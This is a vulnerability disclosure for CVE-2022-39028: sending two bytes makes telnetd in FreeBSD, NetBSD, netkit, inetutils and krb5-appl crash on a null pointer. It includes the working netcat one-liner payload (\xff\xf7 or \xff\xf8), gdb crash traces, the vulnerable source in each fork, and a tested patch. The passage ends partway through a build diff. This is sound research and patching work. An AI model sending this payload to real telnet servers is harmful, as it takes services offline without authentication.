2-byte DoS in freebsd-telnetd / netbsd-telnetd / netkit-telnetd / inetutils-telnetd / telnetd in Kerberos Version 5 Applications - Binary Golf Grand Prix 3 - CVE-2022-39028

Product Description

FreeBSD-telnetd, NetBSD-telnetd, netkit-telnetd, telnetd in Kerberos Version 5 Applications and inetutils-telnetd are standard telnet servers used in several Linux distributions, BSD systems, UNIX systems and commercial products:

- FreeBSD, NetBSD
- Debian, Fedora, Gentoo, ArchLinux, ... - using inetutils-telnetd or netkit-telnetd
- specific Palo Alto appliances
- specific Cisco appliances
- specific Brocade appliances
- specific Arista appliances
- OS running telnetd from Kerberos Version 5 Applications: this may include BSD 4.3 Reno, UNICOS 5.1 to UNICOS 7.0, SunOs 3.5 to SunOs 4.1, DYNIX V3.0.17.9 and Ultrix 3.1 to Ultrix 4.0. Note that these OS may be EOL.
- ...

From our understanding, the first implementation containing the vulnerabilities dates from February 1991. This is the Kerberos telnetd implementation available at https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd (https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd).

This code has been merged into FreeBSD in the 90s. Then netkit-telnetd comes from a very old version of the FreeBSD telnetd. And finally inetutils-telnetd is a fork of netkit-telnetd.

These vulnerabilities are very old (at least 30 years).

In all these implementations, the vulnerable part of the code base has not been updated for 30 years and appears not to be maintained anymore.

A part of the list of affected products was obtained by using CVE-2020-10188 (a vulnerability in netkit-telnetd) (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10188). We can find advisories from Cisco (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-telnetd-EFJrEzPx), Palo Alto (https://security.paloaltonetworks.com/CVE-2020-10188), Brocade

(https://www.broadcom.com/support/fibre-channel-networking/security-advisories/brocade-security-advisory-2021-1013) and Arista (https://www.arista.com/en/support/advisories-notices/security-advisories/10702-security-advisory-48) referencing CVE-2020-10188 in their products.

Furthermore, from https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README (https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README), the release date is February 22, 1991 and the supported OS are BSD 4.3 Reno, UNICOS 5.1 to UNICOS 7.0, SunOs 3.5 to SunOs 4.1, DYNIX V3.0.17.9 and Ultrix 3.1 to Ultrix 4.0. We can assume these OS running kerberos-telnetd are also vulnerable.

We wanted to participate to the Binary Golf Grand Prix 3 (https://tmpout.sh/bggp/3/) with a fun vulnerability very easy to trigger over the network without authentication and with only 2 bytes.

The summary is:

Details - Remote DoS in FreeBSD telnetd

It is possible to remotely crash the "standard" FreeBSD telnetd server by sending 2 bytes (`\xff\xf7`) from the network, as shown below:

```
kali% printf "\xff\xf7" | nc -n -v 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
<FF><FD>%
kali%
```

And we can confirm the remote telnetd server running on a FreeBSD 13.1 machine crashed:

```
freebsd-13-1p1# echo "telnet stream  tcp     nowait  root    /usr/libexec/telnetd    telnetd" >>
/etc/inetd.conf
freebsd-13-1p1# /etc/rc.d/inetd onestart
Starting inetd.
freebsd-13-1p1# echo "waiting for the PoC..."
waiting for the PoC...
[...]
freebsd-13-1p1# dmesg | tail -n 1
pid 785 (telnetd), jid 0, uid 0: exited on signal 11 (core dumped)
```

A working variant exists with `\xff\xf8`. The vulnerable code is located 2 lines under the first vulnerability in the source code.

```
kali% printf "\xff\xf7" | nc -n -v 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
<FF><FD>%
kali%
```

Debugging with FreeBSD:

```
freebsd-13-1p1# freebsd-update fetch
Looking up update.FreeBSD.org mirrors... 2 mirrors found.
Fetching metadata signature for 13.1-RELEASE from update2.freebsd.org... done.
Fetching metadata index... done.
Inspecting system... done.
Preparing to download files... done.
Fetching 7 patches.... done.
Applying patches... done.
freebsd-13-1p1# freebsd-update install
Creating snapshot of existing boot environment... done.
Installing updates...Scanning //usr/share/certs/blacklisted for certificates...
Scanning //usr/share/certs/trusted for certificates...
 done.
freebsd-13-1p1#
freebsd-13-1p1# cd /tmp
freebsd-13-1p1# fetch https://download.freebsd.org/ftp/releases/amd64/13.1-RELEASE/src.txz
src.txz                                               183 MB 6208 kBps    31s
freebsd-13-1p1# tar -C / -xvf src.txz
...
x usr/src/secure/caroot/blacklisted/GeoTrust_Primary_Certification_Authority_-_G3.pem
x usr/src/secure/caroot/blacklisted/Camerfirma_Chambers_of_Commerce_Root.pem
x usr/src/secure/caroot/blacklisted/Trustis_FPS_Root_CA.pem
freebsd-13-1p1# cat <<EOF > /etc/make.conf
CFLAGS=-pipe
WITH_CTF=1
DEBUG_FLAGS=-g
EOF
freebsd-13-1p1# cd /usr/src/lib/libtelnet && make obj && make depend && make && make install
cc  -pipe -fno-common   -I/usr/src/contrib/telnet -DENCRYPTION -DAUTHENTICATION -DSRA -DKRB5 -DF
ORWARD -Dnet_write=telnet_net_write -g -MD  -MF.depend.genget.o -MTgenget.o -std=gnu99 -Wno-form
at-zero-length -fstack-protector-strong -Wsystem-headers -Werror -Wall -Wno-format-y2k -Wno-unin
itialized -Wno-pointer-sign -Wno-empty-body -Wno-string-plus-int -Wno-unused-const-variable -Wno
-error=unused-but-set-variable -Wno-tautological-compare -Wno-unused-value -Wno-parentheses-equa
lity -Wno-unused-function -Wno-enum-conversion -Wno-unused-local-typedef -Wno-address-of-packed-
member -Wno-switch -Wno-switch-enum -Wno-knr-promoted-parameter  -Qunused-arguments    -c /usr/s
rc/contrib/telnet/libtelnet/genget.c -o genget.o
...
freebsd-13-1p1# cd /usr/src/libexec/telnetd && make obj && make depend && make && make install
...
install -o root -g wheel -m 555 telnetd /usr/libexec/telnetd
install -o root -g wheel -m 444 telnetd.debug /usr/lib/debug/usr/libexec/telnetd.debug
install -o root -g wheel -m 444 telnetd.8.gz  /usr/share/man/man8/
```

The `telnetd` program will be compiled without optimization and with debug information (`-g`).

Sending the payload from a Kali Linux:

```
kali% (sleep 10 ; printf "\xff\xf7") | nc -n -v 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
<FF><FD>%
```

And debugging with gdb on FreeBSD:

```
freebsd-13-1p1# ps -auxww | grep telnetd
root  4430   0.0  0.1 19016 7400  -  Ss   08:58     0:00.01 telnetd
root  4432   0.0  0.0 12840 2316  0  R+   08:58     0:00.00 grep telnetd
freebsd-13-1p1# gdb -p 4430
GNU gdb (GDB) 12.1 [GDB v12.1 for FreeBSD]
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-portbld-freebsd13.0".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 4430
Reading symbols from /usr/libexec/telnetd...
Reading symbols from /usr/lib/debug//usr/libexec/telnetd.debug...

warning: Could not load shared library symbols for [vdso].
Do you need "set solib-search-path" or "set sysroot"?
Reading symbols from /lib/libutil.so.9...
(No debugging symbols found in /lib/libutil.so.9)
Reading symbols from /lib/libncursesw.so.9...
(No debugging symbols found in /lib/libncursesw.so.9)
Reading symbols from /usr/lib/libmp.so.7...
(No debugging symbols found in /usr/lib/libmp.so.7)
Reading symbols from /lib/libcrypto.so.111...
(No debugging symbols found in /lib/libcrypto.so.111)
Reading symbols from /usr/lib/libpam.so.6...
(No debugging symbols found in /usr/lib/libpam.so.6)
Reading symbols from /usr/lib/libkrb5.so.11...
(No debugging symbols found in /usr/lib/libkrb5.so.11)
Reading symbols from /usr/lib/libroken.so.11...
(No debugging symbols found in /usr/lib/libroken.so.11)
Reading symbols from /lib/libc.so.7...
(No debugging symbols found in /lib/libc.so.7)
Reading symbols from /lib/libthr.so.3...
(No debugging symbols found in /lib/libthr.so.3)
Reading symbols from /usr/lib/libasn1.so.11...
(No debugging symbols found in /usr/lib/libasn1.so.11)
Reading symbols from /usr/lib/libcom_err.so.5...
(No debugging symbols found in /usr/lib/libcom_err.so.5)
Reading symbols from /lib/libcrypt.so.5...
(No debugging symbols found in /lib/libcrypt.so.5)
Reading symbols from /usr/lib/libhx509.so.11...
(No debugging symbols found in /usr/lib/libhx509.so.11)
Reading symbols from /usr/lib/libwind.so.11...
```

```
(No debugging symbols found in /usr/lib/libwind.so.11)
Reading symbols from /usr/lib/libheimbase.so.11...
(No debugging symbols found in /usr/lib/libheimbase.so.11)
Reading symbols from /usr/lib/libprivateheimipcc.so.11...
(No debugging symbols found in /usr/lib/libprivateheimipcc.so.11)
Reading symbols from /libexec/ld-elf.so.1...
(No debugging symbols found in /libexec/ld-elf.so.1)
[Switching to LWP 100331 of process 4430]
0x00000008015e76b8 in _read () from /lib/libc.so.7
(gdb) b telrcv
Breakpoint 1 at 0x102be98: file /usr/src/contrib/telnet/telnetd/state.c, line 96.
(gdb) c
Continuing.

Breakpoint 1, telrcv () at /usr/src/contrib/telnet/telnetd/state.c:96
96      while (ncc > 0) {
(gdb) n
97          if ((&ptyobuf[BUFSIZ] - pfrontp) < 2)
(gdb)
99          c = *netip++ & 0377, ncc--;
(gdb)
101         if (decrypt_input)
(gdb)
104         switch (state) {
(gdb)
115             if (c == IAC) {     // [1] IAC = 255 = 0xff. this is the first character we sent
(gdb)
116                 state = TS_IAC; // [2] the state variable becomes TS_IAC
(gdb)
117                 break;
(gdb)
96      while (ncc > 0) {
(gdb)

Breakpoint 1, telrcv () at /usr/src/contrib/telnet/telnetd/state.c:96
96      while (ncc > 0) {
(gdb)
97          if ((&ptyobuf[BUFSIZ] - pfrontp) < 2)
(gdb)
99          c = *netip++ & 0377, ncc--;
(gdb)
101         if (decrypt_input)
(gdb)
104         switch (state) {
(gdb)
159 gotiac:         switch (c) {
          /* we reach line 159, thanks to the line 158 shown in the next C listing:
             the state variable is checked against TS_IAC (defined in the previous loop) */
(gdb)
220                 DIAG(TD_OPTIONS,

(gdb)
```

```
222                 ptyflush(); /* half-hearted */
(gdb)
223                 init_termbuf();
(gdb)
224                 if (c == EC)
(gdb)
225                     ch = *slctab[SLC_EC].sptr;
(gdb)

Program received signal SIGSEGV, Segmentation fault.
Address not mapped to object.
0x000000000102c2af in telrcv () at /usr/src/contrib/telnet/telnetd/state.c:225
225                     ch = *slctab[SLC_EC].sptr;
(gdb) bt
#0  0x000000000102c2af in telrcv () at /usr/src/contrib/telnet/telnetd/state.c:225
#1  0x0000000001033383 in ttloop () at /usr/src/contrib/telnet/telnetd/utility.c:84
#2  0x0000000001030ff7 in getterminaltype (name=0x1045000 <user_name> "") at /usr/src/contrib/te
lnet/telnetd/telnetd.c:481
#3  0x0000000001030dff in doit (who=0x7fffffffe928) at /usr/src/contrib/telnet/telnetd/telnetd.
c:715
#4  0x0000000001030b46 in main (argc=0, argv=0x7fffffffea30) at /usr/src/contrib/telnet/telnetd/
telnetd.c:408
(gdb) p ch
$1 = 0 '\000'
(gdb) p slctab[10]
$2 = {defset = {flag = 0 '\000', val = 0 '\000'}, current = {flag = 0 '\000', val = 0 '\000'}, s
ptr = 0x0}
(gdb) p slctab[10].sptr
$3 = (cc_t *) 0x0
(gdb) p *(slctab[10].sptr)
Cannot access memory at address 0x0
```

We can see 2 loops in gdb, each for one character.

And the crash is a null pointer dereference.

`SLC_EC` is defined in `usr/src/contrib/telnet/arpa/telnet.h` :

```
193 #define SLC_SUSP        9
194 #define SLC_EC          10
195 #define SLC_EL          11
```

When reading the `/usr/src/contrib/telnet/telnetd/state.c` file, we can find the vulnerable lines 225 and 227:

```
 91 telrcv(void)
 92 {
 93         int c;
 94         static int state = TS_DATA;
 95
 96         while (ncc > 0) {
 97                 if ((&ptyobuf[BUFSIZ] - pfrontp) < 2)
 98                         break;
 99                 c = *netip++ & 0377, ncc--;
100 #ifdef  ENCRYPTION
101                 if (decrypt_input)
102                         c = (*decrypt_input)(c);
103 #endif  /* ENCRYPTION */
104                 switch (state) {
...
158                 case TS_IAC:  // in the second loop, state is TS_IAC,
                                  // from [2], we continue the execution flow there
159 gotiac:                 switch (c) { // testing the current character
...
211                         /*
212                          * Erase Character and
213                          * Erase Line
214                          */
215                         case EC: // is the current character 247 (0xf7)?
216                         case EL: // is the current character 248 (0xf8)?
217                             {
218                                 cc_t ch;
219
220                                 DIAG(TD_OPTIONS,
221                                         printoption("td: recv IAC", c));
222                                 ptyflush();     /* half-hearted */
223                                 init_termbuf();
224                                 if (c == EC)
225                                         ch = *slctab[SLC_EC].sptr; // vuln
226                                 else
227                                         ch = *slctab[SLC_EL].sptr; // vuln
228                                 if (ch != (cc_t)(_POSIX_VDISABLE))
229                                         *pfrontp++ = (unsigned char)ch;
230                                 break;
231                             }
```

In the code, `EC` corresponds to `247` (`\xf7`) and `EL` corresponds to `248` (`\xf8`):

They are defined in `/usr/src/contrib/telnet/arpa/telnet.h` :

```
39 #define IAC     255             /* interpret as command: */
...
46 #define EL      248             /* erase the current line */
47 #define EC      247             /* erase the current character */
```

So we have this code executed when sending the payload `\xff\xf8` :

```
ch = *slctab[SLC_EC].sptr;
```

or this code executed when sending the payload `\xff\xf7` :

```
ch = *slctab[SLC_EL].sptr;
```

Using gdb, we can see that `slctab[10].sptr` (`slctab[SLC_EC].sptr`) and `slctab[11].sptr` (`slctab[SLC_EL].sptr`) are set to `NULL` (`0x0`) so the value at the `NULL` address is unreachable.

We can modify the function by checking the pointers. This change will remove the previous security vulnerabilities:

```
211                     /*
212                      * Erase Character and
213                      * Erase Line
214                      */
215                     case EC:
216                     case EL:
217                         {
218                             cc_t ch = (cc_t)_POSIX_VDISABLE;
219
220                             DIAG(TD_OPTIONS,
221                                     printoption("td: recv IAC", c));
222                             ptyflush();     /* half-hearted */
223                             init_termbuf();
224                             if (c == EC)
225                             {
226                                     if (slctab[SLC_EC].sptr)
227                                             ch = *slctab[SLC_EC].sptr;
228                             }
229                             else
230                             {
231                                     if (slctab[SLC_EL].sptr)
232                                             ch = *slctab[SLC_EL].sptr;
233                             }
234                             if (ch != (cc_t)(_POSIX_VDISABLE))
235                                     *pfrontp++ = (unsigned char)ch;
236                             break;
237                         }
```

The resulting patch is:

```
freebsd-13-1p1# diff -u -p ./usr/src/contrib/telnet/telnetd/state.c /usr/src/contrib/telnet/teln
etd/state.c
--- ./usr/src/contrib/telnet/telnetd/state.c    2022-05-12 05:53:58.000000000 +0100
+++ /usr/src/contrib/telnet/telnetd/state.c 2022-08-21 09:41:09.699357000 +0100
@@ -215,16 +215,22 @@ gotiac:           switch (c) {
             case EC:
             case EL:
                 {
-                cc_t ch;
+                cc_t ch = (cc_t)_POSIX_VDISABLE;

                 DIAG(TD_OPTIONS,
                     printoption("td: recv IAC", c));
                 ptyflush(); /* half-hearted */
                 init_termbuf();
                 if (c == EC)
-                    ch = *slctab[SLC_EC].sptr;
+                {
+                    if (slctab[SLC_EC].sptr)
+                        ch = *slctab[SLC_EC].sptr;
+                }
                 else
-                    ch = *slctab[SLC_EL].sptr;
+                {
+                    if (slctab[SLC_EL].sptr)
+                        ch = *slctab[SLC_EL].sptr;
+                }
                 if (ch != (cc_t)(_POSIX_VDISABLE))
                     *pfrontp++ = (unsigned char)ch;
                 break;
freebsd-13-1p1#
```

We tested the patch and it works.

Bonus points

Telnet supports secure mode. This mode is also vulnerable in FreeBSD as shown below:

`/usr/src/crypto/heimdal/appl/telnet/telnetd/state.c` :

```
 79 void
 80 telrcv(void)
 81 {
 82     int c;
 83     static int state = TS_DATA;
 84
 85     while (ncc > 0) {
 86         if ((&ptyobuf[BUFSIZ] - pfrontp) < 2)
 87             break;
 88         c = *netip++ & 0377, ncc--;
 89 #ifdef ENCRYPTION
 90         if (decrypt_input)
 91             c = (*decrypt_input)(c);
 92 #endif
 93         switch (state) {
...
189         /*
190          * Erase Character and
191          * Erase Line
192          */
193         case EC:
194         case EL:
195             {
196                 cc_t ch;
197
198                 DIAG(TD_OPTIONS,
199                      printoption("td: recv IAC", c));
200                 ptyflush();     /* half-hearted */
201                 init_termbuf();
202                 if (c == EC)
203                     ch = *slctab[SLC_EC].sptr; // vuln
204                 else
205                     ch = *slctab[SLC_EL].sptr; // vuln
206                 if (ch != (cc_t)(_POSIX_VDISABLE))
207                     *pfrontp++ = (unsigned char)ch;
208                 break;
209             }
```

netkit-telnet-0.17

The same behavior can be observed with netkit-telnet-0.17 under Linux, while sending the same payloads (`\xff\xf7` or `\xff\xf8`):

```
gentoo% (sleep 10 ; printf "\xff\xf7") | nc -n -v localhost 23
```

And debugging with gdb on Gentoo:

```
gentoo% gdb -p `pidof in.telnetd`
GNU gdb (Gentoo 11.2 vanilla) 11.2
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://bugs.gentoo.org/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 20328
Reading symbols from /usr/sbin/telnetd...
Reading symbols from /lib64/libncurses.so.6...
(No debugging symbols found in /lib64/libncurses.so.6)
Reading symbols from /lib64/libc.so.6...
Reading symbols from /lib64/libtinfo.so.6...
(No debugging symbols found in /lib64/libtinfo.so.6)
Reading symbols from /lib64/ld-linux-x86-64.so.2...
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
0x00007f1973c68a9e in __GI___libc_read (fd=0, buf=0x55640e1a6ec0 <netibuf>, nbytes=8192) at ../s
ysdeps/unix/sysv/linux/read.c:26
26  ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x000055640e198d37 in telrcv () at /tmp/telnet/netkit-telnet-0.17/telnetd/state.c:211
211             if (c == EC) ch = *slctab[SLC_EC].sptr;
(gdb) bt
#0  0x000055640e198d37 in telrcv () at /tmp/telnet/netkit-telnet-0.17/telnetd/state.c:211
#1  0x000055640e19d553 in ttloop () at /tmp/telnet/netkit-telnet-0.17/telnetd/utility.c:92
#2  0x000055640e19bf53 in getterminaltype (name=0x7fffa7941730 "") at /tmp/telnet/netkit-telnet-
0.17/telnetd/telnetd.c:484
#3  0x000055640e19c66f in doit (who=0x7fffa7941880, who_len=16) at /tmp/telnet/netkit-telnet-0.1
7/telnetd/telnetd.c:722
#4  0x000055640e19bdb7 in main (argc=0, argv=0x7fffa7941a40, env=0x7fffa7941a48) at /tmp/telnet/
netkit-telnet-0.17/telnetd/telnetd.c:402
(gdb) list
206 {
207   cc_t ch;
208   DIAG(TD_OPTIONS, printoption("td: recv IAC", c));
209   ptyflush();  /* half-hearted */
210   init_termbuf();
211   if (c == EC) ch = *slctab[SLC_EC].sptr;
212   else ch = *slctab[SLC_EL].sptr;
```

```
213   if (ch != (cc_t)(_POSIX_VDISABLE))
214       *pfrontp++ = (unsigned char)ch;
215   break;
(gdb) p slctab[10].sptr
$1 = (cc_t *) 0x0
```

We can recognize the same vulnerable function in `netkit-telnet-0.17/telnetd/state.c` :

```
 81   void telrcv(void) {
 82     register int c;
 83     static int state = TS_DATA;
 84
 85     while (ncc > 0) {
 86     if ((&ptyobuf[BUFSIZ] - pfrontp) < 2) break;
 87     c = *netip++ & 0377;
 88     ncc--;
...
200           /*
201               * Erase Character and
202               * Erase Line
203               */
204           case EC:
205           case EL:
206          {
207              cc_t ch;
208              DIAG(TD_OPTIONS, printoption("td: recv IAC", c));
209              ptyflush();    /* half-hearted */
210              init_termbuf();
211              if (c == EC) ch = *slctab[SLC_EC].sptr;   // vuln
212              else ch = *slctab[SLC_EL].sptr;           // vuln
213              if (ch != (cc_t)(_POSIX_VDISABLE))
214              *pfrontp++ = (unsigned char)ch;
215              break;
216          }
217
```

Inetutils

Inetutils can be found here: https://git.savannah.gnu.org/cgit/inetutils.git/snapshot/inetutils-2.3.tar.gz (https://git.savannah.gnu.org/cgit/inetutils.git/snapshot/inetutils-2.3.tar.gz).

Again, we can recognize the similar vulnerable code in `inetutils-2.3/telnetd/state.c` :

```
190 void
191 telrcv (void)
192 {
193   register int c;
194   static int state = TS_DATA;
195
196   while ((net_input_level () > 0) & !pty_buffer_is_full ())
197     {
198       c = net_get_char (0);
...
203       switch (state)
204         {
...
213         case TS_DATA:
214           if (c == IAC)
215             {
216               state = TS_IAC;
217               break;
218             }
...
260         case TS_IAC:
261         gotiac:
262           switch (c)
263             {
...
308               /*
309                * Erase Character and
310                * Erase Line
311                */
312             case EC:
313             case EL:
314               {
315                 cc_t ch;
316
317                 DEBUG (debug_options, 1, printoption ("td: recv IAC", c));
318                 ptyflush ();    /* half-hearted */
319                 init_termbuf ();
320                 if (c == EC)
321                   ch = *slctab[SLC_EC].sptr;
322                 else
323                   ch = *slctab[SLC_EL].sptr;
324                 if (ch != (cc_t) (_POSIX_VDISABLE))
325                   pty_output_byte ((unsigned char) ch);
326                 break;
327               }
...
```

We tested Inetutils under Debian and found it also vulnerable. Using the `inetutils-telnetd` package in Debian 10.4.0, telnetd will segfault when receiving `\xff\xf7` or `\xff\xf8`:

Under AMD64:

```
# uname -ap
Linux debian 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64 GNU/Linux
# dmesg | grep telnetd
[ 1217.948086] telnetd[17254]: segfault at 0 ip 0000561ae3f92311 sp 00007ffdfb57b650 error 4 in
telnetd[561ae3f8b000+15000]
```

Under i386:

```
# uname -ap
Linux debian 5.10.0-16-686 #1 SMP Debian 5.10.127-1 (2022-06-30) i686 GNU/Linux
# dmesg | grep telnetd
[ 1432.883806] telnetd[16847]: segfault at 0 ip 004fa8e4 sp bfbb8290 error 4 in telnetd[4f3000+1
5000]
```

NetBSD-telnetd

We tested the telnetd server in NetBSD and found it also vulnerable. The code is available at http://ftp.netbsd.org/pub/NetBSD/NetBSD-current/src/libexec/telnetd/state.c (http://ftp.netbsd.org/pub/NetBSD/NetBSD-current/src/libexec/telnetd/state.c):

```
 85 void
 86 telrcv(void)
 87 {
 88         int c;
 89         static int state = TS_DATA;
 90
 91         while (ncc > 0) {
 92                 if ((&ptyobuf[BUFSIZ] - pfrontp) < 2)
 93                         break;
 94                 c = *netip++ & 0377, ncc--;
...
109                 case TS_DATA:
110                         if (c == IAC) {
111                                 state = TS_IAC;
112                                 break;
113                         }
...
153                 case TS_IAC:
154 gotiac:                 switch (c) {
...
206                         /*
207                          * Erase Character and
208                          * Erase Line
209                          */
210                         case EC:
211                         case EL:
212                             {
213                                 cc_t ch;
214
215                                 DIAG(TD_OPTIONS,
216                                         printoption("td: recv IAC", c));
217                                 ptyflush();     /* half-hearted */
218                                 init_termbuf();
219                                 if (c == EC)
220                                         ch = *slctab[SLC_EC].sptr; // vuln
221                                 else
222                                         ch = *slctab[SLC_EL].sptr; // vuln
223                                 if (ch != (cc_t)(_POSIX_VDISABLE))
224                                         *pfrontp++ = (unsigned char)ch;
225                                 break;
226                             }
```

While testing NetBSD 9.3/amd64, telnetd will segfault, as usual in the `telrcv` function:

```
# uname -ap
NetBSD netbsd 9.3 NetBSD 9.3 (GENERIC) #0: Thu Aug  4 15:30:37 UTC 2022  mkrepro@mkrepro.NetBSD.
org:/usr/src/sys/arch/amd64/compile/GENERIC amd64 x86_64
# ps -auxww|grep telnet
root    882  0.0  0.0 50312  4068 ?     S     4:15PM 0:00.02 telnetd -a valid
root    755  0.0  0.0 21652  1324 pts/1 O+    4:15PM 0:00.00 grep telnet
# gdb -p 882
GNU gdb (GDB) 8.3
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
...
[Switching to LWP 1 of process 882]
0x0000768c9d242c6a in read () from /usr/lib/libc.so.12
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x000000012fe06f4c in telrcv ()
(gdb) q
A debugging session is active.

        Inferior 1 [process 882] will be detached.

Quit anyway? (y or n) y
Detaching from program: /usr/libexec/telnetd, process 882
[Inferior 1 (process 882) detached]
```

Telnetd in Kerberos Version 5 Applications - latest version

Using the master branch of https://github.com/krb5/krb5-appl (https://github.com/krb5/krb5-appl), with a 13-year old `state.c` file, we can confirm the vulnerabilities are also present:

```
Program received signal SIGSEGV, Segmentation fault.
0x000055555555c1bd in telrcv () at state.c:237
237      ch = *slctab[SLC_EC].sptr;
(gdb) bt
#0  0x000055555555c1bd in telrcv () at state.c:237
#1  0x000055555555d54d in ttsuck () at utility.c:153
#2  0x0000555555559fc3 in getterminaltype (name=0x7fffffffdc80 "") at telnetd.c:727
#3  doit (who=who@entry=0x7fffffffe2e0) at telnetd.c:1025
#4  0x0000555555558e82 in main (argc=<optimized out>, argv=<optimized out>) at telnetd.c:644
```

The vulnerable part in `state.c` has not been changed since the initial commit but we would like to confirm that the vulnerabilities existed for 30 years.

In the next section, we will analyze the initial commit:

Telnetd in Kerberos Version 5 Applications - initial version

The code of Telnetd in Kerberos Version 5 Applications is vulnerable in the initial version. The first commit from 1991 was vulnerable as shown below.

This is likely the source of these 2 vulnerabilities that have been then copied into several forks over the years.

https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd/state.c#L218 (https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd/state.c#L218):

```
 79          void
 80 telrcv()
 81 {
 82          register int c;
 83          static int state = TS_DATA;
 84 #if      defined(CRAY2) && defined(UNICOS5)
 85          char *opfrontp = pfrontp;
 86 #endif
 87
 88          while (ncc > 0) {
 89                  if ((&ptyobuf[BUFSIZ] - pfrontp) < 2)
 90                          break;
 91                  c = *netip++ & 0377, ncc--;
...
 96                  switch (state) {
...
106                  case TS_DATA:
107                          if (c == IAC) {
108                                  state = TS_IAC;
109                                  break;
110                          }
...
150                  case TS_IAC:
151 gotiac:                  switch (c) {
...
204                          /*
205                           * Erase Character and
206                           * Erase Line
207                           */
208                          case EC:
209                          case EL:
210                              {
211                                  cc_t ch;
212
213                                  DIAG(TD_OPTIONS,
214                                          printoption("td: recv IAC", c));
215                                  ptyflush();     /* half-hearted */
216                                  init_termbuf();
217                                  if (c == EC)
218                                          ch = *slctab[SLC_EC].sptr; // vuln
219                                  else
220                                          ch = *slctab[SLC_EL].sptr; // vuln
221                                  if (ch != (cc_t)(_POSIX_VDISABLE))
222                                          *pfrontp++ = (unsigned char)ch;
223                                  break;
224                              }
```

From the `README` file available at https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README (https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README), this solution is not really recent.

The date included in the `README` file is February 22, 1991 but the `krb5-appl/telnet/telnetd/state.c` file indicates `@(#)state.c 5.12 (Berkeley) 1/19/93`.

The supported Operating Systems listed in the `README` file are also very old:

```
This is a distribution of both client and server telnet.  These programs
have been compiled on:
                        telnet  telnetd
        BSD 4.3 Reno      X       X
        UNICOS 5.1        X       X
        UNICOS 6.0        X       X
        UNICOS 6.1        X       X
        UNICOS 7.0        X       X
        SunOs 3.5         X       X (no linemode in server)
        SunOs 4.1         X       X (no linemode in server)
        DYNIX V3.0.17.9   X       X (no linemode in server)
        Ultrix 3.1        X       X (no linemode in server)
        Ultrix 4.0        X       X (no linemode in server)

In addition, previous versions have been compiled on the following
machines, but were not available for testing this version.
                        telnet  telnetd
        Next1.0           X       X
        UNICOS 5.0        X       X
        SunOs 4.0.3c      X       X (no linemode in server)
        BSD 4.3           X       X (no linemode in server)
        DYNIX V3.0.12     X       X (no linemode in server)
```

Back to FreeBSD to compile and test this initial version of Telnetd in Kerberos Version 5 Applications.

On a side note, it was confirmed the `telnetd` server shipped in FreeBSD 3.2 is vulnerable to the same vulnerabilities, as shown below:

```
myname# uname -ap
FreeBSD myname.my.domain 3.2-RELEASE FreeBSD 3.2-RELEASE #0: Tue May 18 04:05:08 GMT 1999     jk
h@cathair:/usr/src/sys/compile/GENERIC  i386
myname# dmesg | grep telnet
pid 291 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 297 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 303 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 319 (telnetd), uid 0: exited on signal 11 (core dumped)
```

We succesfully compiled https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd (https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd) in FreeBSD 3.2.

Here is the `diff` to compile the initial version of the Telnetd in Kerberos Version 5 Applications, from the branch `f8420ba3e6` (`initial version`) under FreeBSD 3.2 (the preprocessor variables `-DAUTHENTICATION` and `-DENCRYPTION` have been removed but the vulnerable code path is still reachable):

```
myname# diff -r krb5-appl krb5-appl.patched
diff -r krb5-appl/telnet/telnetd/Makefile.4.4 krb5-appl.patched/telnet/telnetd/Makefile.4.4
24c24
< CFLAGS+=-DAUTHENTICATION -DENCRYPTION -I${.CURDIR}/../../lib
---
> CFLAGS+=-I${.CURDIR}/../../lib
